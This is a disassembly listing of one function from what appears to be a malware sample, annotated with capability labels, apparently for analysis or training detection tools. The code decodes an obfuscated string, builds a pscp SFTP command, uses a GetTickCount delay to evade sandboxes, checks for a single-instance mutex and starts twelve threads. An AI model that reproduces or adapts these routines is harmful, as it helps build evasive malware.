Function at 0x41b694
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Create thread
Initialize winsock library

Disassembly:
push esi
push ebx
sub esp, 0x1c0
mov esi, dword [esp + 0x1d4]
test esi, esi
je 0x41b79f
cmp byte [esi], 0x70
jne 0x41b79f
mov byte [esp], 0x4b
mov eax, esp
mov byte [esp + 1], 0x5a
mov byte [esp + 2], 0x45
mov byte [esp + 3], 0x5c
mov byte [esp + 4], 0x1f
mov byte [esp + 5], 0x18
mov byte [esp + 6], 0x1a
mov byte [esp + 7], 0x1a
mov byte [esp + 8], 0x13
mov byte [esp + 9], 0x2a
push eax
call fcn.0041b676
pop ecx
xor eax, eax
cmp byte [esi], 0
je 0x41b706
cmp byte [esi + eax], 0x7c
jne 0x41b6ff
mov byte [esi + eax], 0
inc eax
cmp byte [esi + eax], 0
jmp 0x41b6f3
push 0x20
add esi, 5
call sub.msvcrt.dll_malloc
push str.pscp
mov ebx, eax
call sub.msvcrt.dll__strdup
mov dword [ebx], eax
push str._sftp
call sub.msvcrt.dll__strdup
mov dword [ebx + 4], eax
push 0x43e9df
call sub.msvcrt.dll__strdup
mov dword [ebx + 8], eax
lea eax, [esp + 0x10]
push eax
call sub.msvcrt.dll__strdup
mov dword [ebx + 0xc], eax
push 0x43e9e3
call sub.msvcrt.dll__strdup
mov dword [ebx + 0x10], eax
push str._batch
call sub.msvcrt.dll__strdup
mov dword [ebx + 0x14], eax
push esi
call sub.msvcrt.dll__strdup
mov dword [ebx + 0x18], eax
add esp, 0x20
xor eax, eax
cmp byte [esi], 0
je 0x41b779
inc eax
cmp byte [esi + eax], 0
jmp 0x41b770
push 0x64
lea esi, [eax + esi + 1]
call sub.msvcrt.dll_malloc
mov dword [ebx + 0x1c], eax
push esi
push str.apo__s
push dword [ebx + 0x1c]
call sub.msvcrt.dll_sprintf
push ebx
push 8
call fcn.00403989
jmp 0x41b80c
call sub.KERNEL32.dll_GetTickCount
mov ebx, eax
jmp 0x41b7b7
push 0x32
call sub.msvcrt.dll_malloc
push eax
call fcn.0043aa78
pop eax
pop edx
call sub.KERNEL32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x2edf
jbe 0x41b7a8
lea eax, [esp + 0x10]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
call fcn.0041b4c0
call fcn.0041b331
push 0
call sub.KERNEL32.dll_SetLastError
push str.msnAPOv52552009
push 0
push 0
call sub.KERNEL32.dll_CreateMutexA
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
sete dl
cmp eax, 5
sete al
or eax, edx
test al, 1
je 0x41b813
push 0
call sub.msvcrt.dll_exit
push 0
push 0
push 0
push 0x41cffb
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41c870
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41d51e
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41bad9
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41c598
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41c128
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41d60c
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41d740
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41d9e8
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41eb92
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41e274
push 0
push 0
call sub.KERNEL32.dll_CreateThread
push 0
push 0
push 0
push 0x41f08e
push 0
push 0
call sub.KERNEL32.dll_CreateThread
jmp 0x41b90f
push 0xc8
call sub.KERNEL32.dll_Sleep
push 0x12
push 0x12
push 0
lea eax, [esp + 0x1ac]
push eax
call sub.USER32.dll_GetMessageA
test eax, eax
jne 0x41b905
add esp, 0x1c0
pop ebx
pop esi
ret 0x10